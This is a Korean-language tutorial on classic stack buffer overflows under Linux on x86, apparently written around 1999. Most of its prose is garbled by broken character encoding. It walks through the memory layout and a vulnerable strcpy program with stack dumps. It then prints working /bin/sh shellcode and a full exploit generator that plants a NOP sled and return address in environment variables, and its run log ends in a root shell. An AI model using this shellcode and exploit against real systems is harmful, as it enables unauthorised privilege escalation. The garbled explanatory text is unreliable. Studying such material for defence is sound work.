======================================================================= ÷ο : ŷ ۼ : bugbox?/ : litdemon@hanmail.net/jwstyle@hitel.net ======================================================================= ϰ Ҽ Ȯ մϴ. ѱ 6.1 ׽Ʈ ÷ο츦 Ȯ ߽ϴ. intel CPU kernel : 2.2.13 gcc : gcc-2.95.1 1. ÷ξ? ÷ο ̶ ȿ ̶ ѹ  ̴. ۿ÷ο ̶ ״ ũ ⺸ Ÿ Էؼ α׷ ϵ ̴. ( 巹 ٲμ ϴ  suid¿ ִ α׷ shell ڵ带 Ų) Aleph One Phrack 49-14 μ Ǿ. ׸ Aleph One ۰ ٸ ũⰡ 2 ũ . CPU ̿ Ƿ ũ ʿ ϴ. 2.޸ ÷ο Ϸ 켱 ޸ ˾ Ѵ. ޸𸮿 OS ٸ CPU ٸ. OSȯ (intel) x86迭 CPU ϴ ( 6.1) ϰ ϰڴ. /usr/src/linux/fs/binfmt_elf.c ߴ. Ͽ  elf ̳ʸ ޸𸮿 ε Ǵ ڵ尡 ְ, Ȩ Ѵ.(http://linuxdev.net/journal/1999/07/003.html) --------------- 0x08048000 | Text : α׷ ڵ尡 ġ |-------------- | Data : (static vaiable) Ǿ ִ |-------------- | free : | : |-------------- ESP | Stack : ҴǴ , Լ , Լ | 巹 Ǵ ̴. |-------------- | agrc, argv : ƱԸƮ ġѴ. stact .. |------------- | environment : UNIX(linux) ȯ ġѴ. |-------------- | etc : ׿ ΰ α׷ ڵ尡 ġѴ. |------------- 0xbfffffff α׷ ޸ 0x08048000̴.( ޸𸮸 ϹǷ μ 0x08048000 Ѵ.) ⼭ ɼ ִ ڵ κ εȴ. ( α׷ Ÿӿ ޸𸮸 ؼ ϰ ⸦ ٶ. 鹮 ҿ ϰ) text Dataδ б⸸ ޸ ̱ Ÿ õϸ segmentation violation Ų. 츮 װ ʿ䰡 . Ű ٶ. 츮 ɻ stack غκ ̴ּ. ؽƮ 鼭 α Ǵµ Լ θ Լ ƿ 巹 ÿ Ѵ. ׸ Լ 巹 װ ִ α׷ ڵ带 Ѵ. 츮 Ǵ ٲ ̴. Ǵ 츮 ϴ α׷ ġϴ 翬 ̰.. ڵ  ˾ƾ Ѵ. 1. ž ESP Ǵµ unsigned long get_esp(){ __asm__("movl %esp, %eax"); } ڵ ִ. eax ְ eax ȴ. 2. environment δ ȯ ޸𸮿 εѴ. ۰ ʹ ۾ ڵ带 ȿ ȯ ִ α׷ ε ǰ Ҽ ִ. 3. ================================================================= Ʒ α׷̴. м ޸ ϴ ڵ带 ־ ϱ Լ ȣ ߴ. ================================================================= #include int main(int argc, char *argv[]){ } #include #include "dumpcode.h" unsigned long get_esp(){ __asm__("movl %esp, %eax"); } void function(char buffer[]){ char ch[16]="################"; // ġ Ȯ ... char buff[20]="))))))))))))))))))))"; unsigned long sp; sp=get_esp(); // top . sp-=(unsigned long)(sp%16); // Ʈ ڵ strcpy(buff,buffer); // Լ. dumpcode((char *)sp,0xbfffffff-sp); //top ٴڱ printf("̷ %s \n",buffer); } int main(int argc, char *argv[]){ char a='A'; int d=11; int e=10; function(argv[1]); return 1; } ============ =============================================== [litdemon@mos Hacking]$ ./over 12 0xbffff8a0 a0 f8 ff bf 5f 07 00 00 e8 f8 ff bf 79 89 04 08 ...._.......y... 0xbffff8b0 70 2e 01 40 f3 59 0e 40 17 f9 ff bf 20 00 00 00 p..@.Y.@.... ... 0xbffff8c0 a0 f8 ff bf 31 32 00 29 29 29 29 29 29 29 29 29 ....12.))))))))) 0xbffff8d0 29 29 29 29 29 29 29 29 23 23 23 23 23 23 23 23 ))))))))######## 0xbffff8e0 23 23 23 23 23 23 23 23 18 f9 ff bf fd 89 04 08 ########........ 0xbffff8f0 9a fa ff bf cd 03 00 00 27 a0 02 40 4c 9a 04 08 ........'..@L... 0xbffff900 0c b0 04 08 70 2e 01 40 f3 59 0e 40 0a 00 00 00 ....p..@.Y.@.... 0xbffff910 0b 00 00 00 0c b0 04 41 98 43 0f 40 c2 46 03 40 .......A.C.@.F.@ 0xbffff920 02 00 00 00 64 f9 ff bf 70 f9 ff bf 84 28 01 40 ....d...p....(.@ 0xbffff930 02 00 00 00 90 86 04 08 00 00 00 00 b1 86 04 08 ................ 0xbffff940 d4 89 04 08 02 00 00 00 64 f9 ff bf a8 85 04 08 ........d....... 0xbffff950 54 9c 04 08 44 a0 00 40 5c f9 ff bf d0 2e 01 40 T...D..@\......@ [litdemon@mos Hacking]$ ./over 123456789012345678901234567890123 0xbffff880 80 f8 ff bf 7f 07 00 00 c8 f8 ff bf 79 89 04 08 ............y... 0xbffff890 70 2e 01 40 f3 59 0e 40 f7 f8 ff bf 20 00 00 00 p..@.Y.@.... ... 0xbffff8a0 80 f8 ff bf 31 32 33 34 35 36 37 38 39 30 31 32 ....123456789012 0xbffff8b0 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 3456789012345678 0xbffff8c0 39 30 31 32 33 00 23 23 f8 f8 ff bf fd 89 04 08 90123.##........ 0xbffff8d0 7b fa ff bf cd 03 00 00 27 a0 02 40 4c 9a 04 08 {.......'..@L... 0xbffff8e0 0c b0 04 08 70 2e 01 40 f3 59 0e 40 0a 00 00 00 ....p..@.Y.@.... 0xbffff8f0 0b 00 00 00 0c b0 04 41 98 43 0f 40 c2 46 03 40 .......A.C.@.F.@ ȯ ٸ Ѵ. ι ó ̴. ٸ Էµ ٸ ̴. κ Էµ ִ ġ̴. 켱  ġϰ ִ м . =================================================================== function : 0xbffff8c0 ~ 0xbffff8c3 : sp : 0xbffff8c4 ~ 0xbffff8d7 : buff[20] :: buffer ڿ : 0xbffff8d8 ~ 0xbffff8e7 : ch[16] : 0xbffff8e8 ~ 0xbffff8eb : : 0xbffff8ec ~ 0xbffff8ef : 巹 main : 0xbffff8f0 ~ 0xbffff8f3 : argv[1] : 0xbffff910 ~ 0xbffff913 : d : 0xbffff90c ~ 0xbffff90f : e ch[16] ִ ݸ鿡 ι ( 90123.##........) . ڰ ׸Ʈ ȳ ϱ 巹 ִ ֱ ߴ. ԷµǴ ϴ ġ ּҷ ϴ 巹 Է ٸ  ɱ? ^^ ´! ̰ ÷ο̴. 4. غ ~ ġ ϵǴ ٲܼ ִ° Ҵ. ؾ ϴ? ϵ 츮 ϴ α׷ ġ Ѿ Ѵ. ˾ƾ һ ǰ ִ α׷ ޸ Setuid ۹̼ ִ. ٸ ȱ .  ־ ұ? ΰ ִ. ( Ǵ buff[20]) ־ ϴ ִ ׷ buff 巹 ִ ̿ ־ ϴµ Ұϴ. ڵ带 ˰ 巹 ġ Ҽ κ ׷ ϴ. ٸ Ǵٸ ȯ ̿ϴ ̴. ҵ ׷ Ǹ鼭 ȯ溯 ÿ ״ ִ. ̸ ̿ ȯ溯 shell ִ ڵ带 Ǵµ Ʒ ִ. ׷ Ʒ ڵ带 ׳ . ִ´ ص ʴ´. Ʒ ڵ带 ϰ disassambleؼ ʿ ڵ帹 ȯ ̿ ÿ ִ´. ڴ 𸣱 ڵ带 ̿ ϰڴ. ================= ================= #include void main(){ char *name[2]; name[0] = "/bin/sh" name[1] = NULL; execve(name[0], name, NULL); } ڵ带 ؼ Ű ڵ带 ؾ Ѵ. ڼ ٸ ϱ ٶ. \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh ڵ Cڵ带 Ѵ ڿ ؾ ϱ⶧ νĵǴ 0x00 ڿ ڵ̴. Ʒ ڵ ÷ο츦 ϱ غ ϴ α׷̴. ȯ溯 ּ($RET) ڵ($EGG) ־ bash α׷(ݴ) Ǹ鼭 ۾ ȯ溯 ε Ѵ. #include #include #include "dumpcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = //࿡ ڵ. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); // ּҸ } int main(int argc, char *argv[]) { unsigned long sp; char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); // ּҸ ÷ο Ͼ 4Ʈ // ´. ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; // NOP 뷮 ־ ϵ ߰ 𿡷γ ġص ڵ带 // ɼ ְ Ѵ. ( ڵ \0x90 (NOP) ƹϵ ʴ´.) for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; // NOP  ִ ڵ带 ִ´. for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); //ȯ溯 ڵ带 ִ´. memcpy(buff,"RET=",4); putenv(buff); // ּҸ ִ´. system("/bin/bash"); printf("\n"); } 5. [litdemon@mos litdemon]$ ./example Using address: 0xbffff8d8 [litdemon@mos litdemon]$ export declare -x BASE_ENV="/home/litdemon/.bashrc" declare -x DISPLAY="happy.wonkwang.ac.kr:0.0" declare -x EGG="FF ? V N?1??????/bin/sh" declare -x GDK_FONTSET_GUESS="/home/litdemon/.fontmap:/usr/lib/gtk+/fontmap" declare -x HANGUL_KEYBOARD_TYPE="2" declare -x HISTFILESIZE="1000" declare -x HISTSIZE="1000" declare -x HOME="/home/litdemon" declare -x HOSTNAME="mos" declare -x HOSTTYPE="i386" declare -x INPUTRC="/etc/inputrc" declare -x KDEDIR="/usr/kde" declare -x LANG="ko_KR.eucKR" declare -x LC_ALL="ko_KR.eucKR" declare -x LESS="-MM" declare -x LESSCHARSET="latin1" declare -x LESSKEY="/etc/.less" declare -x LESSOPEN="|lesspipe.sh %s" declare -x LINGUAS="ko_KR.eucKR" declare -x LOGNAME="litdemon" declare -x LS_COLORS="no=00:fi=00:di=01;33:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:ex=01;32:*~=05;31:*.mtxt=05;31:*.ndx=05;31:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.c=01;36:*.h=01;36:*.pl=01;36:*.pm=01;36:*.cgi=01;36:*.java=01;36:*.html=01;36:*.htm=01;36:*.php3=01;33:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.jpeg=01;35:*.JPG=01;35:*.gif=01;35:*.GIF=01;35:*.bmp=01;35:*.BMP=01;35:*.xbm=01;35:*.ppm=01;35:*.xpm=01;35:*.tif=01;35:*.mp3=01;35:*.mp2=01;35:*.mpeg=01;35:*.mpg=01;35:*.rpm=01;34:*.deb=01;33:*.bz2=01;33:*.patch=01;33:*.spec=01;34:*.diff=01;34:" declare -x MAIL="/var/spool/mail/litdemon" declare -x OSTYPE="Linux" declare -x PATH="/usr/kde/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/usr/local/bin:/home/litdemon/bin" declare -x PERL_BADLANG="0" declare -x QTDIR="/usr/lib/qt-2.0.2" declare -x REMOTEHOST="happy.wonkwang.ac.kr" declare -x RET="???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????" declare -x SHELL="/bin/bash" declare -x SHLVL="3" declare -x TERM="xterm-color" declare -x USER="litdemon" declare -x USERNAME="" [litdemon@mos litdemon]$ ./overflow asdfsdf ̷ asdfsdf [litdemon@mos litdemon]$ ./overflow $RET ̷ FF ? V N?1??????/bin/sh bash# ̷ . example ϸ ȯ溯 $RET $EGG ̻ ִ ְ [litdemon@mos litdemon]$ ./overflow asdfsdf ̺κ α׷ ܼ ԷµȰ ؼ Ʈ ϴ α׷̶ ذ̴. overflowα׷ Է $RET ȯ ÷ξ.. 6. exampleڵ 巹 , ڵ տ ԵǴ NOP , Ǵ ּҵ Ͽ Է ɼ ֵ α׷ ̴. ȯ 翡 ڵ ġ ٲ Ǵµ ̸ ϱ ؼ ֵ α׷ Ǿ ִ. м ٶ.